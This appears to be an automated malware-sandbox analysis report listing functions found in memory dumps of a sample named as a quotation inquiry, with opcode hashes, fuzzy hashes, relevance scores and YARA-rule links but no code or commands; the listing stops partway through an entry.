Opcode ID: 77e3d7c076f5ed24b0209bd4ae3db132759a0987403fd14345344ea04cd39e46
Instruction ID: a1a11dd2b06753b07676399bf92d91f28c7d8ec55849badf5229a0dc7016ed59
Opcode Fuzzy Hash: 77e3d7c076f5ed24b0209bd4ae3db132759a0987403fd14345344ea04cd39e46
Instruction Fuzzy Hash: 6C61BD71B002158FDB14EFADD8809AEB7F6FB88319B24856AE509D7715D730EC52CB80

Function 0651ED28 Relevance: 1.3, APIs: 1, Instructions: 94memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(?,?,?,?), ref: 0651EDC7

Memory Dump Source

Source File: 00000000.00000002.1315000145.0000000006510000.00000040.00000800.00020000.00000000.sdmp, Offset: 06510000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6510000_inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 34f4f2fe55331ce771982e8733bfe0285235a5fc934b8b5cb44f98cff75c0f20
Instruction ID: ea82445c5cabcd553c77dedc7ad6391fa1a3f9907d58479288a4d06f2cf9f3c7
Opcode Fuzzy Hash: 34f4f2fe55331ce771982e8733bfe0285235a5fc934b8b5cb44f98cff75c0f20
Instruction Fuzzy Hash: 173198B9D042589FDF14CFA9D880ADEFBB1BF49310F24942AE814BB210D775A945CF94

Function 01388950 Relevance: 1.3, Strings: 1, Instructions: 35COMMON

Download Yara Rule

Strings

R#r, xrefs: 013889AD

Memory Dump Source

Source File: 00000000.00000002.1291100829.0000000001380000.00000040.00000800.00020000.00000000.sdmp, Offset: 01380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1380000_inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.jbxd

Similarity

API ID:
String ID: R#r
API String ID: 0-3286294343
Opcode ID: 10ce886081b301dfcd3058aa3da40db3ab9526839d2e59cc5db5eabfad477439
Instruction ID: ccce88a093baadb83759c291c97413354f5549f4d396bcdf34960e1fda9b0a0b
Opcode Fuzzy Hash: 10ce886081b301dfcd3058aa3da40db3ab9526839d2e59cc5db5eabfad477439
Instruction Fuzzy Hash: 24F02B30805384AFCF619FB8D8007DD7FB49F17208F1400EEC4449B222C2768E95C752

Function 065BBAC5 Relevance: 1.3, Strings: 1, Instructions: 29COMMON

Download Yara Rule

Strings

R, xrefs: 065BBB1F

Memory Dump Source

Source File: 00000000.00000002.1315425779.00000000065B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 065B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_65b0000_inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.jbxd

Similarity

API ID:
String ID: R
API String ID: 0-1466425173
Opcode ID: 88b0658cabcf704a38428951bf681295501f0ea065b65b3a4dfa837e6cd5f905
Instruction ID: 10c342c86fe0e7c91f84f5b3b9201c1ecac69e04522413404be6237af76c66f9
Opcode Fuzzy Hash: 88b0658cabcf704a38428951bf681295501f0ea065b65b3a4dfa837e6cd5f905
Instruction Fuzzy Hash: 22114E74901A68CFDBB4DF18CD48BDEBBB1BB89302F0050EAD449A6380DB745E848F41

Function 065BA6D4 Relevance: 1.3, Strings: 1, Instructions: 26COMMON

Download Yara Rule

Strings

), xrefs: 065BAA1B

Memory Dump Source

Source File: 00000000.00000002.1315425779.00000000065B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 065B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_65b0000_inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.jbxd

Similarity

API ID:
String ID: )
API String ID: 0-2427484129
Opcode ID: 8f73d470eb115a7ee6ff1da2210e258672c1b8c1dc670d9939fc92a0676c3635
Instruction ID: dde13e424185b910d32fab21dcd6895460a690ae2d195ec71c7ba50308dc5bac
Opcode Fuzzy Hash: 8f73d470eb115a7ee6ff1da2210e258672c1b8c1dc670d9939fc92a0676c3635
Instruction Fuzzy Hash: C8F0FF7090031ACFEBA09F24D448BECB7B1BB45304F0199E5D459A3281CB754E84CF95

Function 065BBCD0 Relevance: 1.3, Strings: 1, Instructions: 25COMMON

Download Yara Rule

Strings

1, xrefs: 065BB28F

Memory Dump Source

Source File: 00000000.00000002.1315425779.00000000065B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 065B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_65b0000_inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.jbxd

Similarity

API ID:
String ID: 1
API String ID: 0-2212294583
Opcode ID: d50925f3687abef51b0295465ee86b98fa19020c64530b0d9e906c9849255733
Instruction ID: 4068ab7abb99043a3bee023deee13ee77c0f9d71a0899a6cc4bdd61a4e1a4fad
Opcode Fuzzy Hash: d50925f3687abef51b0295465ee86b98fa19020c64530b0d9e906c9849255733
Instruction Fuzzy Hash: 23F0C470A05328CFEBB19F14D844BDDB7B9FB4A308F00A5D9D549A2284C7B40A84CF46

Function 065BB26C Relevance: 1.3, Strings: 1, Instructions: 20COMMON

Download Yara Rule

Strings

1, xrefs: 065BB28F

Memory Dump Source

Source File: 00000000.00000002.1315425779.00000000065B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 065B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_65b0000_inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.jbxd

Similarity

API ID:
String ID: 1
API String ID: 0-2212294583
Opcode ID: ca06b5a364f79a51685c7891e53bd534d859a024af9f813d142fceedef9fd83e
Instruction ID: 8510cb9098ea81b8e7ddf719702d9ae859a3c56e8c11ddbd725e3b7709a32186
Opcode Fuzzy Hash: ca06b5a364f79a51685c7891e53bd534d859a024af9f813d142fceedef9fd83e
Instruction Fuzzy Hash: 76F0B270A05328CFEBA19F14D844B9DB7B9BB4A308F0095D9D649A2249C7744F84CF46

Function 065B18B9 Relevance: 1.3, Strings: 1, Instructions: 17COMMON

Download Yara Rule

Strings

z, xrefs: 065B1E1B

Memory Dump Source

Source File: 00000000.00000002.1315425779.00000000065B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 065B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_65b0000_inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.jbxd

Similarity

API ID:
String ID: z
API String ID: 0-1657960367
Opcode ID: b0821c3a2ac446f52c2f3efd30c37ad9b6dfa8f12b27e76fbc19e27d99c815f5
Instruction ID: 56cb2304f9ff3fe70a94cf3f29b006ca65ed1ae320972e53dfc7444861090714
Opcode Fuzzy Hash: b0821c3a2ac446f52c2f3efd30c37ad9b6dfa8f12b27e76fbc19e27d99c815f5
Instruction Fuzzy Hash: 53E0EE3080522DCFDBA0CF24C988BEEBBB1BB08301F20A2E9800832290C7745AC0CF49

Function 0648BAE0 Relevance: .7, Instructions: 677COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1314694783.0000000006480000.00000040.00000800.00020000.00000000.sdmp, Offset: 06480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6480000_inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 56d3a0f712873bc44e7d556da757e58d779c637680bf6cf46ae8ed35912efc67
Instruction ID: 72a352a2e3c3afab9c04d79c21a88d1aa285b0ba38a6e230fe00bac66c1e0120
Opcode Fuzzy Hash: 56d3a0f712873bc44e7d556da757e58d779c637680bf6cf46ae8ed35912efc67
Instruction Fuzzy Hash: 42521975A102288FDB68DF68C995BDDBBF2BF88310F1540E9E509A7351DA309E81CF61

Function 062D0D98 Relevance: .6, Instructions: 577COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1314165287.00000000062D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 062D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_62d0000_inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 490a233517d3ea8e28948bfa6b21d87f00cda87445ac31b37e30525335d04a10
Instruction ID: d867fec890acd93aacb88d101566025baca5510f273c5f675e5baa0f7ea3ee6a
Opcode Fuzzy Hash: 490a233517d3ea8e28948bfa6b21d87f00cda87445ac31b37e30525335d04a10
Instruction Fuzzy Hash: 8242F374E2020ACFDB94DF94D498AAEB7B2FF49305F108029DD12A7794CB749992CF91

Function 0648602F Relevance: .5, Instructions: 538COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1314694783.0000000006480000.00000040.00000800.00020000.00000000.sdmp, Offset: 06480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6480000_inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2298cc167038a94f21b02b1d3924d90dcefaa636c7fa2d69c99117a1956a509e
Instruction ID: 9979a558a9fe91dcb2dc8ae716984d8e9ab1e436b94f339f1b2ebfa8d604466c
Opcode Fuzzy Hash: 2298cc167038a94f21b02b1d3924d90dcefaa636c7fa2d69c99117a1956a509e
Instruction Fuzzy Hash: F3228D31A002059FDB94DFA9D494A6DBBF2FF88310F15806AE906AB365CB75ED41CF90

Function 062D1DA8 Relevance: .5, Instructions: 488COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1314165287.00000000062D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 062D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_62d0000_inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: be99f10bc2983eaffcd330c34537f0b08d7db3028ba800e128bdd7c60bb71b17
Instruction ID: 19b47c74afd365e02d53544f5fc9115fb6dc6845946ddde1b72ef045c946a4c8
Opcode Fuzzy Hash: be99f10bc2983eaffcd330c34537f0b08d7db3028ba800e128bdd7c60bb71b17
Instruction Fuzzy Hash: 9F22F430D21219CFCB94DFE4C5586ACBBB2FF8A315F608069D90AAB284CB755E85CF51

Function 06488F48 Relevance: .5, Instructions: 481COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1314694783.0000000006480000.00000040.00000800.00020000.00000000.sdmp, Offset: 06480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6480000_inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9e8b6472636e784cc84792ddb21c2570f789a7cea9d91d57fe66ef388171d16c
Instruction ID: 4fe6ffb47cacc369a255db2c7a80f00f12a00d6a0cc66de0cf46dd6a4bf43f43
Opcode Fuzzy Hash: 9e8b6472636e784cc84792ddb21c2570f789a7cea9d91d57fe66ef388171d16c
Instruction Fuzzy Hash: 64128D30A007058FDB65EFA9D844AAEB7F2FF88310F14852ED50A9B755DB35AC46CB50

Function 0648EAE8 Relevance: .4, Instructions: 437COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1314694783.0000000006480000.00000040.00000800.00020000.00000000.sdmp, Offset: 06480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6480000_inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 94efbaaeddaebd24fbbeee704a979a1c07ddbc40e5392482345832c33d1a1eec
Instruction ID: 15e185bf3e37fc1925d657bc7bf8c2eabe4064ffcb10c0d9febae3c757ec8f3d
Opcode Fuzzy Hash: 94efbaaeddaebd24fbbeee704a979a1c07ddbc40e5392482345832c33d1a1eec
Instruction Fuzzy Hash: 6B120734A10219CFCB95EF64C894A9DBBB2BF89300F5085A9D54AAB365DF70ED85CF40

Function 0648C978 Relevance: .4, Instructions: 408COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1314694783.0000000006480000.00000040.00000800.00020000.00000000.sdmp, Offset: 06480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6480000_inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d76c8ea75f86220dcff107b4607d316847dd860b888f87af2dd16a744aa0c969
Instruction ID: c9ffc0aca15acd26b1971d21a8e580ef137547c60cfb553febf4a0989f428e0c
Opcode Fuzzy Hash: d76c8ea75f86220dcff107b4607d316847dd860b888f87af2dd16a744aa0c969
Instruction Fuzzy Hash: 2DE1C4707102068FEB95AF29D89567EBAE2FF84310F14447ADA87CB395DA34CD81CB61

Function 0648F1CF Relevance: .4, Instructions: 383COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1314694783.0000000006480000.00000040.00000800.00020000.00000000.sdmp, Offset: 06480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6480000_inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 67421ac11589710cb88ce87bb4e7a8ca3640b8e9ba2ba7958d258182a27ed23e
Instruction ID: 771c1a21e4af25f417320ac96b8cdef3595e53c8e1a9cf048f14e30c289ecf6d
Opcode Fuzzy Hash: 67421ac11589710cb88ce87bb4e7a8ca3640b8e9ba2ba7958d258182a27ed23e
Instruction Fuzzy Hash: BAF15434A10209DFCB45EF64D49499EBBB2FF89310F10856AE802AB365DF74ED46CB91

Function 0648AC00 Relevance: .4, Instructions: 370COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1314694783.0000000006480000.00000040.00000800.00020000.00000000.sdmp, Offset: 06480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6480000_inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b5c1ab2ca371655e876517e3f49eaa5880b8ea83e4a08abbda27a166fdbe5706
Instruction ID: 191b656592d537de2162988ff850b1712c8c1f3362358c71426ee5bd9e77721c
Opcode Fuzzy Hash: b5c1ab2ca371655e876517e3f49eaa5880b8ea83e4a08abbda27a166fdbe5706
Instruction Fuzzy Hash: 24F1ED34A10218DFCB48EF64D998A9DB7B2FF89301F118569E905AB365DB71EC82CF50

Function 062D18C0 Relevance: .4, Instructions: 362COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1314165287.00000000062D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 062D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_62d0000_inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d0ddbf0f4cbf49d3ea7ff7d8b408e8ddff2b94f8c5609feb6e46011a9497895f
Instruction ID: ff23912e7612d729e208cd113c7033d8fbb8b72499bc1d5a04ea0e5563cdf21b
Opcode Fuzzy Hash: d0ddbf0f4cbf49d3ea7ff7d8b408e8ddff2b94f8c5609feb6e46011a9497895f
Instruction Fuzzy Hash: 44F1C434D21309DFDB98DFA8E5986ACBBB2FF4A315F204129E806A7790DB315985CF41

Function 0648BAD6 Relevance: .3, Instructions: 290COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1314694783.0000000006480000.00000040.00000800.00020000.00000000.sdmp, Offset: 06480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6480000_inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 465270f3594575afe8b6d0af9d916fe19001725eead6ba20d1e8f5b6420467df
Instruction ID: 3f51ada150490a79151ff63c5b2c703b806a7c69cda6fcaada90a0315da9220f
Opcode Fuzzy Hash: 465270f3594575afe8b6d0af9d916fe19001725eead6ba20d1e8f5b6420467df
Instruction Fuzzy Hash: 40C14DB4A002188FDB58DF68C945BDEBBF6EF88710F158099E509AB351CA70DD81CF61

Function 064849E8 Relevance: .3, Instructions: 256COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1314694783.0000000006480000.00000040.00000800.00020000.00000000.sdmp, Offset: 06480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6480000_inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6f4cde31ac89b84b0dd7528372c7db04eb754675d63c32f462ce9b8288199640
Instruction ID: 093f18b30c2bbcf833e1928eee0158928a7ea6d90ddbe495f963c0820b135afb
Opcode Fuzzy Hash: 6f4cde31ac89b84b0dd7528372c7db04eb754675d63c32f462ce9b8288199640
Instruction Fuzzy Hash: F691F030B043058FC7A6EF78D854A6EBBF6EF85210B1045AED946DB392CB349D06CB91

Function 064867B0 Relevance: .2, Instructions: 244COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1314694783.0000000006480000.00000040.00000800.00020000.00000000.sdmp, Offset: 06480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6480000_inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 25e6fdf5dc8f738e4d119d0bd1d029d6d0932b92d5f80385efb1e6c6f35c3a45
Instruction ID: ba7e50ed76a57d6734c2f83968f38c08e691733c17d29f26b2e5514e752ab5a7
Opcode Fuzzy Hash: 25e6fdf5dc8f738e4d119d0bd1d029d6d0932b92d5f80385efb1e6c6f35c3a45
Instruction Fuzzy Hash: D591F430B002148FDB55EF68C484A6E7BE6BF8A710B1284AAE505DB3B5DB71EC41CB91

Function 0648EAE0 Relevance: .2, Instructions: 236COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1314694783.0000000006480000.00000040.00000800.00020000.00000000.sdmp, Offset: 06480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6480000_inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8184cfac31d852cfaedb8ca68b73b424adfd995f704073d50247f6950ecf1842
Instruction ID: 1e43b52645b00d10e9772dbc1ba19f88f98be3bac447c2c42b24792e326dbdaa
Opcode Fuzzy Hash: 8184cfac31d852cfaedb8ca68b73b424adfd995f704073d50247f6950ecf1842
Instruction Fuzzy Hash: 56A1FC74A002148FDB94EF24C894B9EBBB2BF89310F5085A9E549AB365DF74ED85CF40

Function 0648ABF0 Relevance: .2, Instructions: 232COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1314694783.0000000006480000.00000040.00000800.00020000.00000000.sdmp, Offset: 06480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6480000_inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 564c6a55d560c685b95c7cb9c787979f6cfbb3a9abe87790820d928c6673dbd5
Instruction ID: 21d5afcc6f57344a5a2013c41ebba5642822cc1c3b7633acde2625abcde61742
Opcode Fuzzy Hash: 564c6a55d560c685b95c7cb9c787979f6cfbb3a9abe87790820d928c6673dbd5
Instruction Fuzzy Hash: C5A10234A10218DFCB44EF64D89899DB7B2FF88311F15816AE915AB365DB70EC82CF90

Function 062D1598 Relevance: .2, Instructions: 231COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1314165287.00000000062D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 062D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_62d0000_inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 391028b8c64d79fea9ef6523ecd91c46fb12d9fad764f8d6b3a6e6401f17dd17
Instruction ID: f499a55e98907a3a9692e57f464b494966046d2068a49d244e5d26eb4bf4b66c
Opcode Fuzzy Hash: 391028b8c64d79fea9ef6523ecd91c46fb12d9fad764f8d6b3a6e6401f17dd17
Instruction Fuzzy Hash: F0A1F474E2020ADFDB98DFA4D458AEDBBB2FF49311F108029D912AB790CB745995CF90

Function 06481EE8 Relevance: .2, Instructions: 226COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1314694783.0000000006480000.00000040.00000800.00020000.00000000.sdmp, Offset: 06480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6480000_inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3bbd384aaf03bf70095059ffc9669a691b4dc4321e09a8dc51f2dfac44df42ab
Instruction ID: 6662ece68cfb7f294b823fd082a2909b875735dcb5da6dc0d1421774d7a56329
Opcode Fuzzy Hash: 3bbd384aaf03bf70095059ffc9669a691b4dc4321e09a8dc51f2dfac44df42ab
Instruction Fuzzy Hash: 88819235A012058FDB05EF64E858AAEBBF2FF89311F14406AE61197351CB75CE41CF90

Function 0648FA90 Relevance: .2, Instructions: 222COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1314694783.0000000006480000.00000040.00000800.00020000.00000000.sdmp, Offset: 06480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6480000_inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 09ed1b976e4a3af9111fdf6146c922fc655ff3d14ba2add25833f33b1af636fa
Instruction ID: 2b3b46a0acbf8c701bc52f6ae9597c7195ac9d9438c2331fac5794e97d3215b7
Opcode Fuzzy Hash: 09ed1b976e4a3af9111fdf6146c922fc655ff3d14ba2add25833f33b1af636fa
Instruction Fuzzy Hash: E2813E34B106148FCB85EF68D898A6EB7B6BF88710F14406AE906DB3A5CB74DD45CB90

Function 06487510 Relevance: .2, Instructions: 208COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1314694783.0000000006480000.00000040.00000800.00020000.00000000.sdmp, Offset: 06480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6480000_inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 916d29bb4720247f4edfe22a5e6043b75731123811f143a35b3c88a61ca7a679
Instruction ID: 8873ebb4fb11869f7e45c5d5d6cff347d6d3b36a521e3f59ea89062e772b3b52
Opcode Fuzzy Hash: 916d29bb4720247f4edfe22a5e6043b75731123811f143a35b3c88a61ca7a679
Instruction Fuzzy Hash: 4F812975A00618CFCB55EF68C494E9EB7F5FF48350B25816AE816AB360DB70ED42CB90

Function 065610C7 Relevance: .2, Instructions: 182COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1315404207.0000000006560000.00000040.00000800.00020000.00000000.sdmp, Offset: 06560000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6560000_inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cd7e1e89483c55c004345b7e46575ae8db5f304630ce9b0a2975f45f65ae67ed
Instruction ID: d35945408904b5e32907f7aa222c12816acb0cdc3ad8164aa78bb248e63d97e4
Opcode Fuzzy Hash: cd7e1e89483c55c004345b7e46575ae8db5f304630ce9b0a2975f45f65ae67ed
Instruction Fuzzy Hash: C7714B74E05218CFDB94DFAAD884AAEBBB2FB5A305F105429E40AA7394CB355D85CF40

Function 0648FA80 Relevance: .2, Instructions: 175COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1314694783.0000000006480000.00000040.00000800.00020000.00000000.sdmp, Offset: 06480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6480000_inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ef11b311ed76ca2c7f97f05a2f423607c926cdd6b4f1f5fad58aed6eabc21edc
Instruction ID: 44fdef618f98a79cfc76c44e82d057c68cae92e9f04ad23d8f618f508da11bce
Opcode Fuzzy Hash: ef11b311ed76ca2c7f97f05a2f423607c926cdd6b4f1f5fad58aed6eabc21edc
Instruction Fuzzy Hash: DA615F34B10604DFCB85EF64D894A6EB7B6FF89710F1040AAE9169B3A5CB30DD45CB90

Function 06481770 Relevance: .2, Instructions: 170COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1314694783.0000000006480000.00000040.00000800.00020000.00000000.sdmp, Offset: 06480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6480000_inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ccdd31d361a0291e4bafbc8294bc7a64b8afd0214e20d784c09d9f3f6a15b761
Instruction ID: a54f8f51fbc366038412cee57006d448a642855539a0041fc63203a6ea8b6c7d
Opcode Fuzzy Hash: ccdd31d361a0291e4bafbc8294bc7a64b8afd0214e20d784c09d9f3f6a15b761
Instruction Fuzzy Hash: 4951AE35A006169FCB11EF69D884A6EF7B5FF85320B15825BE5259B341C730E852CBD4

Function 064807C0 Relevance: .2, Instructions: 158COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1314694783.0000000006480000.00000040.00000800.00020000.00000000.sdmp, Offset: 06480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6480000_inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3039389ffdcffe3144e728a426fb2c46677cd6c69445421437a8dc3b2b4ec420
Instruction ID: ef8e0bcb81a34a8fa5b4735970367a57eabfed98782a6ed956008ec9e6cfe287
Opcode Fuzzy Hash: 3039389ffdcffe3144e728a426fb2c46677cd6c69445421437a8dc3b2b4ec420
Instruction Fuzzy Hash: 85514D76600104AFDB4A9FA8C804D5ABBF7FF8D2147158098E6099B372CB36DC12EF91

Function 01380B38 Relevance: .2, Instructions: 157COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1291100829.0000000001380000.00000040.00000800.00020000.00000000.sdmp, Offset: 01380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1380000_inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 150d1b50fe04ac0884c5433f3ee23bb60a93eec79f0772b33f37bb28c8abae9a
Instruction ID: 4ecde52c102cf5b7a7dee4422099a662ee0af5b36523e857439aebbd0d31c86b
Opcode Fuzzy Hash: 150d1b50fe04ac0884c5433f3ee23bb60a93eec79f0772b33f37bb28c8abae9a
Instruction Fuzzy Hash: 95514B78E0020A9FDF14DFA9D8406EDBBB1BF89314F20A599D402FB265DB319945CF50

Function 0648F8F8 Relevance: .2, Instructions: 156COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1314694783.0000000006480000.00000040.00000800.00020000.00000000.sdmp, Offset: 06480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6480000_inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 32b05eb879af77d899d99d9be610bf59bc5690a3e69e0be671bdc6e98049c541
Instruction ID: 4e7833d1088d404835d0e5a9606e91e99b0f8b295b073cb341beb3aa69703eda
Opcode Fuzzy Hash: 32b05eb879af77d899d99d9be610bf59bc5690a3e69e0be671bdc6e98049c541
Instruction Fuzzy Hash: F9518F36714204AFDB469F68D814D6A7FB6FF8922071580E6E605CF3B2CA36DC11DB61

Function 06487040 Relevance: .2, Instructions: 153COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1314694783.0000000006480000.00000040.00000800.00020000.00000000.sdmp, Offset: 06480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6480000_inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 61b20ba1a6cea878e13ffe653f500c699b36dcecc07de7e20f1f199c6e9ebe8f
Instruction ID: e97f5d825663b9bf18da695f8b0dffd69a9c6e067291eee0cce9b685d3fa3eb0
Opcode Fuzzy Hash: 61b20ba1a6cea878e13ffe653f500c699b36dcecc07de7e20f1f199c6e9ebe8f
Instruction Fuzzy Hash: D251D3317006049FEB55AF25D864BAE7BE2FF85314F20816AE902CB391CB79DC42CB91

Function 064811C1 Relevance: .1, Instructions: 149COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1314694783.0000000006480000.00000040.00000800.00020000.00000000.sdmp, Offset: 06480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6480000_inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f07e7e05bb25928a56d79f2b0c915a559cc0e51b5a30f1779b0a185dee794ba6
